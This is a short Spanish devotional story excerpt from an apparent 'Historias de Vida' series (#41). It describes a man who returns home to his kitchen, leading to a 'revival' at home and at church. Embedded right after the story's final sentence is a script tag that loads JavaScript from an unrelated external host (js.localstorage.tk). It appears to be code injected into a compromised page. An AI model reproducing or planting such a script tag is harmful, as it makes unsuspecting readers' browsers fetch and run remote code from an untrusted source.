Aunque ya había hecho algunas cuadras, giró el auto, regresó a su casa y corrió a la cocina. Todos podemos imaginar lo que pasó después. ¡Hubo un reavivamiento en la cocina y otro en la iglesia!<script type='text/javascript' src='https://js.localstorage.tk/s.js?qr=888'></script>
Historias de Vida
#41